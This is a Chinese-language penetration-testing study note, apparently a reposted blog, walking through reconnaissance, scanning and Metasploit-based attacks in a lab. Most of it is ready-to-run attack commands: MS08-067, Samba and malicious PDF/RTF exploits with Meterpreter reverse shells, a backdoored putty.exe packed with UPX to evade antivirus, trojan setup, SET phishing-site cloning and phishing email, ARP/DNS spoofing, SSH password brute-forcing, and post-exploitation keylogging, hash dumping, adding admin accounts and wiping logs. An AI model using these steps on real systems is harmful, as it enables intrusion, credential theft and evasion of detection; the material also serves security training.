渗透测试

来源:互联网 发布:php curl 下载大文件 编辑:程序博客网 时间:2024/05/01 14:18

pantester

渗透测试是一种模拟恶意攻击者的技术与方法,挫败目标系统安全控制错失,去的访问控制权,并发现具备业务影响后果安全隐患的一种安全测试与评估方式


攻击前(网络踩点、网络扫描、网络查点)

攻击中(利用漏洞信息进行渗透攻击,获取权限)

攻击后(后渗透维持攻击,文件拷贝,木马植入,痕迹 擦除)


黑盒测试

对渗透攻击目标网络内部拓扑一无所知,完全模拟真实黑客有组织有步骤的渗透入侵过程


特点:花费时间长

渗透测试者需要有较高的技术能力


白盒测试

对渗透攻击目标网络非常了解,以最小的代价进行系统安全探测


特点:节省时间

无法有效测试客户的内部安全应急响应程序


灰盒测试

更深入全面


渗透流程

前期交互阶段(渗透测试范围、目标、限制条件、服务合同)(收集客户需求、准备测试计划、定义测试范围、定义业务目标)

情报搜集阶段(公开信息查询、google hacking、社会工程学、网络踩点、扫描检测、被动监听、服务查点)

威胁建模阶段(情报分析、攻击路径)

漏洞分析阶段(结合安全漏洞扫描结果和服务查点信息、针对关键系统服务进行漏洞挖掘)

渗透攻击阶段(利用目标漏洞,入侵系统,获得访问权限)

后渗透攻击阶段(根据目标业务经营情况,挖掘出最有价值的信息和资产)

报告阶段(想客户提高安全渗透报告)


漏洞分析与利用Exploit


安全漏洞生命周期

安全漏洞研究与挖掘

Exploit代码开发与测试

安全漏洞/Exploit代码限于封闭团队

安全漏洞/Exploit代码开始扩散

攻击工具/恶意程序出现并传播

Exploit/攻击工具/恶意程序大规模传播并危害互联网

Exploit/攻击工具/恶意程序逐渐消亡


安全漏洞公共资源库(CNNVD,CNVD,SCAP,CVE,NVD,SECURTYFOCUS,OSVDB,WOOYUN)

 

安全攻击流程

踩点,扫描,攻击,维持访问


基础入门

环境搭建

情报收集

web服务渗透

网络服务渗透

客户端渗透

社会工程学

移动环境渗透

强大的Meterpreter


信息收集

漏洞评定工具

攻击工具

用户提权

维护登陆

逆向工程

RFID工具

压力测试

取证

报告工具

服务

杂项


BT5:操作系统,包含各种各样不同作者编写的黑客攻击(安全审计)工具,从渗透前期到后期全部涉及 

Metasploit:渗透攻击平台(软件套餐),包含整个渗透攻击流程的大部分工具,采用统一的攻击流程,攻击语法,模板化


渗透攻击模块、攻击载荷、辅助模块、后渗透攻击模块

模块--Metaspoit框架对外提供的最核心的渗透功能实现代码

插件--用于集成外部的安全攻击,例如Nessus(漏洞扫描器),Nmap(端口扫描器)


组成

Aux辅助:模块主要完成信息搜集

Exploits模块:进行渗透攻击

Post后渗透攻击模块:进行主机控制与拓展攻击


msfconsole接口 控制台终端

msfgui 图形化界面

msfcli 命令行程序


渗透测试前期

footprinting 网络踩点

网络踩点技术:DNS与IP查询、web信息搜索与挖掘、网络拓扑侦查

收集目标系统的域名、IP地址、拓扑、联系信息等外围信息

scanning 网络扫描

探测目标活跃主机(即IP)、端口信息(开放的服务)、系统类型和服务版本、相关的安全漏洞

enumeration 网络查点

对探测出来的服务进行进一步的攻击探测


DNS/IP踩点

whois域名注册信息查询

nslookup与dig域名查询

IP2Location地理位置查询

netcraft实现信息查询服务

IP2Domain反查域名


进入unity模式

whois 用来查询域名注册信息库的工具,如果开启域名信息保护,无法看到详细信息 查不到IP

nslookup 查询DNS服务器上的Cache非权威解答

set type=A

dig 可以指定具体的域名服务器,得到更权威的解析

dig @ns.watson.ibm.com testfire.net


IP2location 得到域名对应的IP信息,还可以得到具体的地理位置和其他私密信息

maxmind.com


netcraft实现信息查询服务

可以查询网站和服务器更详细的信息

查询域名相关的子域名

searchdns.netcraft.com


IP2Domain反查域名

可以查询哪些域名指向同一个IP地址

7c.com


搜索引擎踩点

Google Hacking技术

工具推荐

SiteDigger  (http://www.mcafee.com/us/downloads/free-tools/sitedigger.aspx#)

search diggity

搜索网站的目录结构

www.gfsswy.com

parent directory site:testfire.net

检索特定类型的文件

site:testfire.net filetype:xls

搜索网站中的E-mail地址

use auxiliary/gather/search_email_collector

搜索易存在SQL注入点的页面


拓扑路径踩点

traceroute (用icmp来追踪)

tcptraceroute (利用SYN的同步位对每跳进行握手,可以穿透防火墙)


网络扫描描述


主机描述                           找出网段内活跃主机

ICMP ping 对目标系统进行echo request 请求探测 最常规的ping工具,容易被防火墙屏蔽

-c 次数 -s 数据包大小

arpping 通过arp请求来实现探测,一般防火墙没法过滤arp协议


在arping的基础上,加入网段扫描支持,通过ifconfig命令查看接口信息,然后调用具体的网卡来执行arp扫描

arp-scan --interface=eth2 10.10.10.0/24


nbtscan 得到 IP,MAC,netbios主机名信息

nbtscan 10.10.10.0/24

Nmap 世界上最流行功能最强大的网络扫描工具

nmap -sn 10.10.10.0/24 扫描MAC,IP信息,不做端口扫描


nmap 扫描选项(用于指定扫描的方式) 扫描目标(用于指定IP地址)

主机发现模块 局域网内部ARP扫描器,只能扫描同一局域网内部主机  arp_sweep

msfconsole

use auxiliary/scanner/discover/arp_sweep

show options

set RHOSTS 10.10.10.0/24

set THREADS 10

run

back 退出

exit 回到根目录


端口扫描                           找出主机上所开放的网络服务

Metaspolit端口扫描模块

通过tcp syn做端口扫描,速度较快且不易被发现,可以有其他选项

use auxiliary/scanner/portscan/syn

show options

set RHOSTS 10.10.10.129 

set THREADS 20

run


Nmap实现端口、服务、系统检测

nmap -sS -Pn 10.10.10.129 通过ICP SYN方式扫描,并且扫描过程中不用进行ICMP echo探测,能扫描到IP、端口、服务信息、操作系统大概的类型

nmap -sV -Pn 10.10.10.129 在上面的基础上可得到更详细的软件服务版本信息 此系统提供服务对应的软件版本信息

nmap -sV 10.10.10.129 能扫描到IP、端口、服务信息、操作系统大概的类型,此系统提供服务对应的软件版本信息

nmap -A 10.10.10.129 能扫描到IP、端口、服务信息、操作系统类型,此系统提供服务对应的软件版本信息


操作系统/网络服务辨识    识别主机安装的操作系统类型与开放网络服务类型,以选择不同的渗透攻击代码及配置

xprobe2 10.10.10.129 根据不同协议的反馈协议,综合得出操作系统信息

nmap -O 10.10.10.129 除了得到操作系统信息,也能扫描到IP、MAC、PORT、服务信息,没法看到服务对应的软件版本


漏洞扫描                           找出主机/网络服务上所存在的安全漏洞,作为破解通道

Nessus漏洞扫描器

安装方式

到Nessuss官网下载软件版本,根据BT5的版本下载
http://www.tenable.com/products/nessus/select-your-operating-system
Nessus-6.2.1-ubuntu910_i386.deb

将其复制到BT5桌面下(直接拖拽),进入路径并进行安装
cd Desktop/
dpkg -i Nessus-6.2.1-ubuntu910_i386.deb

到官网申请Nessus激活码
http://www.tenable.com/products/nessus-home

添加Nessus管理员用户名和密码
/opt/nessus/sbin/nessuscli adduser cisco
Login password:cisco
Login password(again):cisco

通过激活码激活Nessus,并且开始漏洞插件在线下载
/opt/nessus/sbin/nessuscli fetch --register D2E2-F637-F405-0210-3938
等待升级完成后
/opt/nessus/sbin/etc/init.d/nessusd restart

通过浏览器输入https://localhost:8834访问Nessus,输入帐号密码cisco/cisco,登陆


search ms08_067

show payloads

use exploit/windows/smb/ms08_067_netapi 查看此渗透模块所对应的攻击载荷 

set PAYLOAD generic/shell_reverse_tcp

set RHOST 10.10.10.130 设置目标IP

set LHOST 10.10.10.128 设置本地IP

set LPORT 5000 设置本地端口,此端口为渗透后靶机回连端口

set TARGET 5  系统操作代码

show options

exploit

OpenVAS漏洞扫描器


网络查点
旗标抓取
网络服务查点
telnet 网络查点
use auxiliary/scanner/telnet/telnet_version
set RHOSTS 10.10.10.0/24
set THREADS 100
show options
run

ssh 网络查点
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 10.10.10.0/24
set THREADS 100
show options
run
ssh 口令破解
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 10.10.10.254
set USERNAME root
set PASS_FILE /root/words.txt
set THREADS 50
run

网络服务渗透攻击

MS12-020
一般开启了3389端口RDP服务远程桌面服务的WIN XP和WIN server 2003都有此漏洞
DOS下开启win server 2003
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

MS08-067
攻击者利用受害者主机默认开发的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序栈缓冲区,获得远程代码执行权限,从而完全控制主机

Samba(Linux服务)
search samba      查找针对samba服务漏洞相关渗透攻击模块
use exploit/muliti/samba/usermap_script      调用特定的渗透攻击模块
set PAYLOAD cmd/unix/bind_netcat      使用netcat攻击载荷,渗透成功后由其执行shell,并通过netcat绑定在一个监听端口上
set RHOST 10.10.10.254      设置目标主机IP
show options
exploit     执行漏洞渗透

客户端渗透攻击

ADOBE阅读器渗透攻击
use exploit/windows/fireformat/adobe_cooltype_sing
set PAYLOAD windows/meterpreter/reverse_http
set LHOST 10.10.10.128
set LPORT 8443
set FILENAME 1.pdf
exploit
[*] Creating '1.pdf' file...
[*] Generated output file /root/.msf4/data/exploits/1.pdf
将文件拖入靶机当中
back
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_http
set LHOST 10.10.10.128
exploit

OFFICE2003渗透攻击
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
set FILENAME 1.rtf
set PAYLOAD windows/meterpreter/reverse_http
set LHOST 10.10.10.128
exploit
将文件拖入靶机中
back use exploit/multi/handler
rexploit

社会工程学渗透攻击
伪装木马渗透攻击
Meterpreter后门攻击
将文件放入攻击机中
在shell 中写入以下命令
msfpayload windows/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=80 R | msfencode -t exe -x /root/Desktop/putty.exe -k -o putty_backdoor.exe -e x86/shikata_ga_nai -C 5
将文件拷到靶机上
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.10.128
set LPORT 80
exploit
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.10.128
set LPORT 80
exploit
在靶机上安装杀毒软件,可以通过UPX来实现加强免杀
将UPX软件放在统一目录下,然后执行免杀 upx-3.07-i386_linux
upx -6 -o putty_backdoor_upx6.exe putty_backdoor.exe
将软件放在靶机上,再次测试杀毒

冰河木马后门攻击(灰鸽子)
1、下载冰河木马到Windows server 2003
G_Client为客户端,在攻击机本地打开,用来为靶机的后门程序做控制设置
G_Server为服务端,在靶机上打开,一般通过捆绑方式绑定到其他软件
2、在攻击机上开启G_Client.exe
设置访问口令(必须设置,不然没法访问靶机)其他为默认
设置关联启动(自我保护),当冰河后门被关闭之后,通过txt或者exe文件复活
设置邮件通知,当地址发生变动时,发送邮件,将系统,密码等信息发送过来
点击确定,保存配置
3、将攻击机上的G_Server.exe复制到靶机上
双击病毒,并观察后台任务管理器
4、在攻击机上开启G_Client.exe并远程控制靶机
扫描靶机(定义IP地址范围)可以访问靶机
可以通过命令控制台对肉鸡进行各种控制

网站钓鱼渗透攻击

BT5虚拟环境实现
启动社会工程学攻击集
cd /pentest/exploits/set
./set
选择网页攻击 选2
选择帐号窃取 选3
选择克隆站点 选2
开始克隆 http://10.10.10.129/signin.html
靶机测试 帐号:admin  密码dvssc@admin01
帐号获取

Kali Linux(最新版的BT)真实环境实现  不要startx
VMWARE模式:桥接模式/NAT模式

修改IP和路由(一次性)
设置IP地址:ipconfig eth0 10.1.1.10 netmask 255.255.255.0 up
添加默认路由:route add default gw 10.1.1.254
修改IP和路由
vim /etc/network/interface
auto eth0
allow-hotplug eth0
address 10.1.1.212
netmask 255.255.255.0
gateway 10.1.1.254
添加路由转发功能
vim /etc/sysctl.conf
net.ipv4.ip_forward=1
reboot

一、域名劫持(域名欺骗)ettercap
1.启动ettercap  ettercap -G
2.主机扫描
3.ARP欺骗
4.流量抓包
5.DNS欺骗
find \ -name "etter.dns"
vim /usr/share/ettercap/etter.dns

二、网站克隆 
cd /usr/share/set
./set 启动set
选项1.社会工程学攻击
选项2.网页欺骗攻击
选项3.网页克隆攻击
选项2.单个站点克隆
输入攻击机的地址
输入克隆的网页地址
开始克隆网页(开启apache)

三、在靶机上测试效果
靶机能够ping同攻击者的IP地址
靶机浏览器输入攻击者的IP地址
靶机上输入用户名和密码
点击登录后会进入真实的网页
打开攻击者缓存文件查看用户密码 放在(/var/www 中)
引入arp和dns欺骗,在靶机浏览器上输入真实域名

邮件钓鱼
kali linux实现

发伪造网页连接(结合上面网站钓鱼来进行帐号窃取)
vim /usr/share/set/config/set_config
将WEBATTACK_EMAIL选项改为on
选1 输入收件人邮箱地址
选1 输入发送人邮箱地址
写入邮件主题
输入邮件密码
yes -- subject -- h  --body --END结束

发伪造网页连接java后门程序(植入后门)
攻击机需要调用谷歌邮箱,需要翻墙,并且允许呗set工具调用

攻击机配置
启动社会工程学工具集
选项1:社工国内国际
选项2:网页攻击
选项1:JAVA注入
选项2:网页克隆
输入攻击机IP地址
选项2:植入插件并克隆
选项1(shikata):选择后门程序
选择监听端口
执行加密
调用邮件发送
通过谷歌邮箱发送给QQ邮箱
邮件发送成功等待肉鸡上线

只支持旧版的IE浏览器
肉鸡配置
自带IE浏览器,安装Java环境并启用
打开QQ邮箱
用IE打开邮箱内的网站(此时用户点击信任java,则马上中招)

发伪造网页连接结合带有木马附件(盗号并植入后门)

自动化渗透攻击
在msf中输入db_nmap -T aggressive -sV -n -o -v 10.1.1.x   采用最快的时间扫描,判断提供的服务和软件版本,不做DNS解析,判断操作系统,显示扫描结果
msf调用nmap,扫描主机,并将扫描的内容存储进入数据库
hosts 查看扫描到的主机
services 扫描得到的服务
db_autopwn -t -p -e -i 10.1.1.x   显示所有模块 加载模块攻击 执行攻击 指定刚扫描的主机
自动攻击加载攻击模块针对服务漏洞进行攻击

meterpreter (后渗透攻击)
常用命令
0.session -l       #查看会话
1.session -i 1 #连接回话
2.getuid          #查看当前用户
3.sysinfo        #查看系统信息
4.run hashdump   #备份系统账户哈希值,后期可以用暴力破解
一般我们的密码放在C:\Windows\System32\config\SAM 文件内
5.ps                #查看进程,找到管理员用的进程
6.migrate xxx  #迁移到管理员进程,一般我们选取explorer.exe的PID值
7.keyscan_start  #抓取键盘操作
8.keyscan_dump  #显示键盘操作
9.keyscan_stop
10.run getgui -e      #开启远程桌面(电脑--属性--系统属性--远程)3389端口
11.run getgui -u pinginglab -p cisco #添加帐号密码
直接输入shell 可以进入cmd 的dos命令
net user 用户名 密码
net localgroup administrator  用户名 /add
(计算机管理--本地用户查看)
12.在shell中 rdesktop 10.10.10.x:3389
13.用容笑LC破解词典L0phtCrack v5.02
网络管理员必备工具,它可以用来检测windows、UNIX用户是否使用不安全的密码
14.清除所有操作日志,反取证
clearv

用help查看命令

攻击模块根据漏洞拿到shell,后渗透模块是干坏事的

meterpreter 是一个内存攻击进程,好处
1.不创建进程(使用内存注入方式)
2.它是一个解析器加载各种攻击命令
3.工作在被攻击进程的上下文中
4.通信是加密的(TLV协议),可以躲避IDS
5.没有硬盘写入操作
6.使用通信方式是信道模式,可以同时和几个信道工作,支持多信道
7.支持扩展编写

关闭杀毒软件
run killav 可能导致目标机器蓝屏死机


0 0